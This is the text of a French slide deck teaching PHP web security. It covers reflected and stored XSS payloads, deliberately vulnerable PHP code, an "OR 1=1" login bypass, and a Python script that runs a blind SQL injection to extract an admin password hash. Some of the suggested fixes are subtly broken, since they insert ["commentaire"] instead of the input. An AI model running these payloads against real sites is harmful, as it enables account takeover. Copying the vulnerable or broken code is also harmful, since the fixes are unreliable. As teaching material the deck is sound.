La sécurité dans les applications web – XSS – Cross-site scripting



La sécurité dans les applications web – XSS – Cross-site scripting

0 0


security-slides

Slides for my talk at API Hour

On Github lovenunu / security-slides

La sécurité dans les applications web

Écrit pour PHP, mais réutilisable dans les autres languages. Ou comment devenir paranoiaque en 10 minutes.

NTUI

Never Trust User Input

XSS

Cross-site scripting

Un exemple simple

							
								<img src="image-<?php echo isset($_GET['i']) ? $_GET['i'] : 1; ?>.png" />
							
						

Il suffit d'accéder à l'adresse

							
								http://victime.tld/?i=1.png"/><script>alert("PoC");</script><img src="image-1
							
						

Pour obtenir

							
								<img src="image-1.png"/><script>alert("PoC");</script><img src="image-1.png" />
							
						

Le Stored XSS

formulaire

							
								<form action="validation.php" method="post">
									  <label for="commentaire">Votre commentaire: </label>
									  <textarea name="commentaire" id="commentaire"></textarea>
									  <input type="submit" value="Envoyer" />
								</form>
							
						

Une validation

							
								<?php
								if (isset($_POST["commentaire"]) && !empty($_POST["commentaire"])) {
								  $storage->insert($_POST["commentaire"]);
								}
							
						

Un affichage

							
								<?php
								foreach ($storage->all() as $comment) {
								  echo "<div class='commentaire'>$comment</div>";
								}
							
						

Où est la faille ?

Des solutions

							
								<?php
								if (isset($_POST["commentaire"]) && !empty($_POST["commentaire"])) {
								  if (htmlspecialchars($_POST["commentaire"]) != $_POST["commentaire"]) {
								    echo "NO!";
								    exit;
								  }

								  $storage->insert(["commentaire"]);
								}
							
						

Des solutions

							
								<?php
								if (isset($_POST["commentaire"]) && !empty($_POST["commentaire"])) {
								  $storage->insert(htmlspecialchars(["commentaire"]));
								}
							
						

Des solutions

							
								<?php
								foreach ($storage->all() as $comment) {
								  echo "<div class='commentaire'>".htmlspecialchars($comment)."</div>";
								}
							
						

Les injections sql

Moi je sais faire

" OR 1=1 #

Blind SQL Injection

<3

La connection

							
								<?php
								if (isset($_POST["login"]) && isset($_POST["pass"])) {
									  $query = "SELECT * FROM user WHERE login=\"".$_POST["login"]."\" AND password=\"".md5($_POST["pass"])."\"";
									  $res = mysql_query($query);

									  if (1 !== mysql_num_rows($res)) {
									    echo "Erreur d'authentification";
									    exit;
									  }

									  $data = mysql_fetch_array($res);

									  if ($data["login"] == $_POST["login"] &&
									    $data["password"] == md5($_POST["pass"])) {
									    echo "Bonjour, ".$data["login"];
									    exit;
									  }
								}

								echo "Bonjour, invité";
							
						

Moi je sais faire

							
								login: " OR 1=1 #
								pass: lolxDmdr
							
						

Ce qui donne

							
								SELECT * FROM user WHERE login="" OR 1=1 #" AND password="lolxDmdr"
							
						

Ça marche pas

Trop de sécurité pour moi, j'abandonne

							
								Cas 1:
								Réponse: Bonjour, invité

								Cas 2:
								Réponse: Erreur d'authentification
							
						

Attaquons !

Le mot de passe est hashé en md5. Il contient donc 32 caractères entre 0-9a-f

							
								login: admin" AND password LIKE "%" #
								pass:
							
						
							
								SELECT * FROM user WHERE login="admin" AND password LIKE "%" #" AND password=" "
							
						

La réponse

							Bonjour, invité
						

Ok, allons plus loin

							
								SELECT * FROM user WHERE login="admin" AND password LIKE "a%" #" AND password=" "
							
						

La réponse

							Erreur d'authentification
						

La requête ne retourne aucun résultat: le hash du mot de passe ne commence pas par a

							
								SELECT * FROM user WHERE login="admin" AND password LIKE "b%" #" AND password=" "
							
						

La réponse

							Bonjour, invité
						

Le hash commence par b. Automatisons le bruteforce

Un peu de python (2)

							
								#!/usr/bin/env python
								#-*- coding: utf-8 -*-
								import urllib

								def getNextChar(char):
								  if char == "9":
								    return "a"
								  if char == "f":
								    raise Exception # oops
								  return chr(ord(char) + 1)

								def isValidResponse(response):
								  return response == "Bonjour, invité"

								p = "b"
								char = "0"

								while len(p) != 32:
								  maybePass = p + char
								  data = urllib.urlencode({
								    "login": 'admin" AND password LIKE "'+maybePass+'%" #',
								    "pass": " "
								  })
								  response = urllib.urlopen("http://victime.tld/login.php", data).read()

								  if (isValidResponse(response)):
								    p = maybePass
								    char = "0"
								  else:
								    char = getNextChar(char)
								  print p
							
						

Yes we did it !

C'était fastidieux mais on l'a fait ! Le hash du mot de passe est donc: b6edd10559b20cb0a3ddaeb15e5267cc

Utilisons une resource en ligne pour voir si ce hash est connu

CSRF

Jeton

Donnée aléatoire transmit et vérifé par le serveur permettant de s'assurer que quelqu'un n'a pas envoyé le formulaire sans le connaitre.

L'upload de fichier

Ne faites pas confiance au mime-type

Hash DOS

Ah bah non. C'est fini.

Merci